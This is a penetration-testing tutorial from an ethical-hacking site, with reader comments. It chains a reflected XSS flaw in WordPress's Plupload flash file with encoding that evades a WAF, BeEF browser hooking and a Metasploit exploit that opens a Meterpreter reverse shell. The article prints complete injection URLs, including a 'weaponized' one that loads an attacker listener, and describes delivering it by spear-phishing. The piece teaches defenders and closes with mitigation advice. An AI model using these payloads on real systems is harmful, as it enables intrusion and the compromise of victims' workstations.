Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box

| July 3, 2013 | 4 Comments

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - WordPress LogoWordPress is by far the most popular Content Management System (CMS) in the world today.  According to W3 Techs, “WordPress is used by 58.2% of all the websites whose content management system we know. This is 18.6% of all websites.”  As with most modern, popular CMSs, the WordPress application itself is hardened and secure out of the box.  But to get all of the cool ‘stuff’ to make your site memorable and engaging, WordPress site owners often use 10 – 20 plugins for each installation.  As of July 2013, WordPress.org lists 25,700 plugins with more than 475 million downloads, and that doesn’t include those outside of the WordPress repository.  It’s these third party plugins that leave a tight framework vulnerable to exploitation and attempts at hacking WordPress common.  Many installed plugins remain unpatched or overlooked, and even those not activated through the WordPress Dashboard provide an excellent attack surface.  With shared hosting plans and consolidated corporate data centers, it is more often than not that your instance of WordPress is not the only web application residing on your server.

For the sake of brevity, I won’t “beat a dead horse” and talk about why Cross-Site Scripting (XSS) is dangerous.  There still is some confusion surrounding XSS and its role in network breaches, how it is used, and how it can be utilized over and over to do the same thing.  An attacker cannot leverage an XSS flaw to directly “hack” into a server.  Instead, by chaining vulnerabilities together and socially engineering personnel, an attacker can move from XSS to an internal compromise fairly quickly. This tutorial shows how hacking WordPress with a simple XSS flaw can be crafted into a vehicle to intrude on internal networks.

Getting Started in Hacking WordPress

Seeing as how this article is being published by The Ethical Hacker Network, the entire focus is how one might be attacked in order to eventually mitigate against such risks. As with any real attack or legitimate penetration test, the first step is recon. Assuming the attacker has already set his sights on your organization or the third party security team has been hired, their first step is to detect a WordPress installation.  You can attempt to access the core WordPress folders by including them in the URI path of the host you are testing against:

http://[webhost]/wp-admin/
http://[webhost]/wp-includes/

Additionally, the ‘Robots.txt’ file can be a goldmine of information.  In Figure 1, the WordPress directories have been explicitly disallowed from search engine indexing, which indicates the presence of the WordPress framework and its location.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - robots.txt file

Figure 1 – Robots.txt Revealing Disallowed Directories

In certain instances the WordPress framework has been installed in sub-root directories.  The Google search engine does an excellent job at “spidering” through a site and indexing hidden files and directories.  Before brute forcing a web server with tools like DirBuster which looks for hidden files and directories, turn to Google to see if the work has already been done for you.

The Google search engine often indexes WordPress core files.  If a search is completed through Google with the ‘site:<target site> inurl:/wp-includes/ inurl:plupload’ against a specific site, you can determine if WordPress core files are present.  In Figure 2, you can see that Google has indexed a Shockwave Flash File (plupload.flash.swf) within the ‘/wp-includes/’ directory of the example host found by Google.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - Google Hacking / Dorking

Figure 2 – Google Search

Testing Our Initial Findings

Within a lab environment, the WordPress framework and plugins were installed to simulate the live host above.  The plugin titled ‘Plupload’ enables uploading of files to the web server on which the site is hosted. By clicking through the following link in Figure 3, a blank Shockwave Flash page is displayed:

 http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=

Figure 3 – WordPress ‘Plupload’ Plugin Uniform Resource Locator (URL)

By clicking anywhere on the white space provided by the plugin, you will be provided with the standard file explorer box where you can select a file to upload.  In most cases, the upload directory is stored outside of the webroot and is not accessible.  Yet, it is worth checking for its presence.
Taking a closer look at the URI string ‘plupload/plupload.flash.swf?id=’, this URL is a great place to test XSS injection parameters. The string in Figure 4 has proven to work against this target set:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(c){alert(1);}//

Figure 4 – Initial XSS Injection String

The browser reflects the XSS injection string in the form of an alert box shown in Figure 5:

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - XSS Alert Box 1

Figure 5 – XSS Alert Box Displaying “1″

I will break down the injection string, so the next stage of attack is simpler to construct.  First, the initial characters ‘\”));’ are escaping the XSS string directly out of a JavaScript function.  Usually, the input is reflected back into the HTML code such as within the ‘value=””’ parameter.  Breaking out of something like this would be simple.  However in this case, the reflected output is stuck in JavaScript.  The current function has been escaped using ‘\”));’ followed by a new function of ‘catch(c){alert(1);}//’.  The browser reads this code and executes the alert box.

Why was it not possible to use the characters ‘<’ or ‘>’, or the classic ‘<script>’ tag?  In this particular instance, the first major challenge is presented. The client has a Web Application Firewall (WAF) in place.  The WAF is filtering the input of particular characters, specifically ‘<’ and ‘>’, which hinders the use of all HTML tagging.

Evasive Maneuvers

Moving forward, it’s understood that a valid reflected XSS injection point exists, and an alert box can be successfully executed via JavaScript within the browser.  However, a mere alert box isn’t much of an attack.  The evil HTML code still needs to be injected.  How can this flaw be taken to the next level?

The alternate method of injecting HTML code is to encode it with the JavaScript function  ‘CharCodeAt()’.  A visual example of how this works can be found at ‘Uncle Jim’s Javascript Utilities’ webpage.  This will allow the encoded HTML tagging to be injected, in turn, bypassing the WAF.  The JavaScript will then be reflected back to the browser and, by applying the ‘FromCharCode()’ function, will be decoded ultimately being read in as plaintext HTML. Building on the original XSS string, replace the ‘alert’ keyword with ‘document.write’, as shown in Figure 6:

‘\”));}catch(e){document.write

Figure 6 – XSS String

Next, add in ‘(String.fromCharCode’ as shown in Figure 7:

(String.fromCharCode

Figure 7 – XSS String

Use the ‘charCodeAt()’ function to encode the HTML in Figure 8:

<html><body><script>alert(“XSS”)</script></body></html>

Figure 8 – HTML Code

The HTML becomes the string shown in Figure 9:

60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 9 – HTML Code Encoded

Finally, join all of the above to produce a reflective XSS injection URL, and send it on to the web server. Figure 10 shows the completed code:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,88,83,83,34,41,60,47,115,99,114,105,112,116,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 10 – Complete Reflective XSS Injection URL

The XSS injected string is again reflected in the form of an alert box displaying “XSS” as shown in Figure 11:

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - XSS Alert Box XSS

Figure 11 – XSS Alert Box Displaying “XSS”

Another alert box? Yes. What was missed though is that by employing the ‘document.write’ JavaScript function, we have completely broken out of the current ‘plupload.flash.swf’ Shockwave Flash file and have written to a new page.  Additionally, the WAF has been bypassed through the use of encoding resulting in a blank canvas to work our hacking magic.

Time for a Little Protein

It is now time to turn up a local installation of the Browser Exploitation Framework (BeEF) as shown in Figure 12.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - BeEF

Figure 12 – BeEF

With the modification of the current reflective XSS injection URL to include an ‘iFrame’, a reference is created to the local BeEF instance.  Now, the new HTML code can be crafted that includes the ‘iFrame’ as shown in Figure 13:

<html><body><iframe src=”http://127.0.0.1:3000/demos/basic.html”></iframe></body></html>

Figure 13 – HTML Code

Again, the ‘charCodeAt()’ function is used to encode the HTML, as shown in Figure 14:

60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 14 – Encoded HTML

Now all the code can be joined to produce an ‘iFrame’ based reflective XSS injection URL.  This string can be sent on to the web server ready to go as shown in Figure 15:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,51,48,48,48,47,100,101,109,111,115,47,98,97,115,105,99,46,104,116,109,108,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 15 – Complete Reflective XSS Injection URL

The browser is now presented with a new webpage containing the BeEF ‘iFrame’ which points back to the local running instance of BeEF.  The browser has now been hooked and vulnerable to the various exploits contained within the BeEF control panel as shown in Figure 16.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - BeEF iFrame

Figure 16 – BeEF ‘iFrame’

The final steps would be to make any modifications, or tailoring of the code, to align with the specifics of our target and the goal that we want to achieve.  A Spear Phishing e-mail would be crafted which contained the reflective XSS injection URL.  The link can be obfuscated, or it can be sent in its full format.  The obfuscated method has a higher chance of being clicked on by a victim.  The side effect is that properly configured spam filters should block or strip an email with obfuscated links.

Remember, this attack uses the target’s own domain and web application to reflect an attack back to them.  This aids in the social engineering aspect of the attack.  The best way to accomplish this is through the use of e-mail.

The Shell Game

Although, a BeEF hooked browser can give selective control to an attacker and was useful in demonstrating the effectiveness of this attack, gaining a shell through it may prove to be problematic.  The Metasploit Framework would be better suited for advancing this attack.

A listener will be created within the Metasploit console and will leverage the ‘java_jre17_jmxbean_2’ exploit and a reverse Transmission Control Protocol (TCP), Windows Operating System (OS) Meterpreter payload as shown in Figure 17.  Both the listener and reverse handler will use port 8080 and 4444, respectively.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - Metasploit Framework

Figure 17 – MSF Using ‘java_jre17_jmxbean_2’ Exploit

The listener options are set as shown in Figure 18.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - MSF Listener Options

Figure 18 – Setting Listener Options

The listener and reverse handler are both started as shown in Figure 19.  Note the URL and URI string automatically generated by the listener.  This data will be used in refactoring the HTML code contained in the reflective XSS injection URL.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - MSF Started

Figure 19 – MSF Listener and Reverse Handler Started

Reconstruct the current XSS string HTML code with the new ‘iFrame’ source which will now hold a reference back to the Metasploit listener shown in Figure 20:

<html><body><iframe src=”http://10.0.0.2:8080/rPJGQW1Mp9″></iframe></body></html>

Figure 20 – HTML Code

Once again, the ‘charCodeAt()’ function is used to encode the HTML as shown in Figure 21:

60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62

Figure 21 – Encoded HTML

And the above are joined produce a “weaponized” reflective XSS injection URL shown in Figure 22:

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf?id=\”));}catch(e){document.write(String.fromCharCode(60,104,116,109,108,62,60,98,111,100,121,62,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,48,46,48,46,50,58,56,48,56,48,47,114,80,74,71,81,87,49,77,112,57,34,62,60,47,105,102,114,97,109,101,62,60,47,98,111,100,121,62,60,47,104,116,109,108,62));}//

Figure 22 – Complete Reflective XSS Injection URL

URL encoding is done to further conceal the string as shown in Figure 23.

http://[webhost]/wp-includes/js/plupload/plupload.flash.swf%3Fid%3D%5C%22%29%29%3B%7Dcatch%28e%29%7Bdocument.write%28String.fromCharCode%2860%2C104%2C116%2C109%2C108%2C62%2C60%2C98%2C111%2C100%2C121%2C62%2C60%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C49%2C48%2C46%2C48%2C46%2C48%2C46%2C50%2C58%2C56%2C48%2C56%2C48%2C47%2C114%2C80%2C74%2C71%2C81%2C87%2C49%2C77%2C112%2C57%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%2C60%2C47%2C98%2C111%2C100%2C121%2C62%2C60%2C47%2C104%2C116%2C109%2C108%2C62%29%29%3B%7D//

Figure 23 – URL Encoded

This “weaponized” URL is attached to a Spear Phishing e-mail and sent to the victim pool.  A user who observes a link that points back to their own domain will often feel like it is safe to click.  The string is injected into the application and reflected back to the browser, decoded, and written to a new page.  The ‘iFrame’ is requested from the Metasploit listener (Figure 24), the payload is successfully executed on the victim’s system and a Meterpreter session is opened.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - Success!

Figure 24 – Successful Exploitation

This attack ultimately gains shell access to the victim’s workstation as shown in Figure 25.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - Proof of Shell

Figure 25 – Shell Access

The Desktop on a victim’s host in Figure 26 was grabbed by the injected Meterpreter shown in Figure 24.

Hacking WordPress with XSS to Bypass WAF and Shell an Internal Box - Windows Screenshot

Figure 26 – Windows Screenshot

Done with Hacking WordPress… What Now?

In this article, we’ve not only proven that hacking WordPress through a third party plugin using XSS can be done, but techniques can also be used to bypass common network security appliances. In the end, we took what seemed like an innocent little installation of a CMS into full control of an internal system. But what does this teach us?

From a corporate standpoint, there are several lessons to be learned:

  1. Always be cognizant of what is on your servers. Employees with the best of intentions can unknowingly allow access to your most sensitive systems and the data they contain.
  2. Just as with Operating Systems like Windows, OSX and Android, it’s usually not the systems themselves that are hacked but the additional programs installed on them. Only use what is necessary and always keep them up-to-date.
  3. Test, test and test again. Just because a plugin works and seems to be from a reputable source, it doesn’t ensure the quality or security of the code. Even if you have the internal ability to test (and absolutely if you don’t), hire a professional web application penetration tester. Your entire company is at stake.

From a personal standpoint, the lessons are the same although the scale might not be. But always keep in mind that if you don’t take the proper precautions, your hobby will never become your dream job, and your small business will never become a big one.

Regardless of which camp describes you best, the lessons are the same… Stay aware, stay diligent and stay safe.

Disclaimer: The examples provided below were attained through live searches.  Any further testing was done within a lab environment.  The examples here are against the ‘Plupload’ of the WordPress framework.  This known vulnerability has been researched and proven by OSVDB (ID 89576) and Secunia (ID 51967). Utilizing this attack on any system for which you do not have permission to access is strictly prohibited by law and not the intention of this article.


Charles Riggs currently works for Knowledge Consulting Group as a Senior Penetration Tester.  He possesses over 10+ years of experience and has worked with TD Bank’s Cyber Threat Intel and Analytics team, the Department of Energy’s (DOE) National Nuclear Safety Administration (NNSA) cyber security team, and the Department of Defense (DOD) Pentagon Computer Incident Response Team (PENCIRT). He specializes in network protocol crafting, manipulation, fuzzing and web application penetration testing.  Charles is an active security researcher and has contributed to both Sourcefire VRT and Snort. He holds CISSP and CEH certifications, and currently holds both Q & TS clearances.  In his spare time is enjoys skydiving, rock climbing, and hanging out with family.

Tags: , , ,

Category: /root

Comments (4)

Trackback URL | Comments RSS Feed

  1. Avatar image n37sh@rk says:

    Very nice! I now have something to look into for our company as we use wordpress!

    Thanks don!

  2. dynamik says:

    Great article, thanks.

    n37sh@rk wrote:Very nice! I now have something to look into for our company as we use wordpress!

    Thanks don!

    Be sure to focus on the plugins since they are not likely developed with the same quality of coding standards as the main WordPress application. I took a random plugin from SQLi to ravaging the entire internal network on a recent assessment.

  3. Avatar image n37sh@rk says:
    Be sure to focus on the plugins since they are not likely developed with the same quality of coding standards as the main WordPress application. I took a random plugin from SQLi to ravaging the entire internal network on a recent assessment.

    Thanks for the advice i’m still new to the field! Company is still working on getting an program off the ground :/

  4. azmatt says:

    Awesome write up, thank you.

Leave a Reply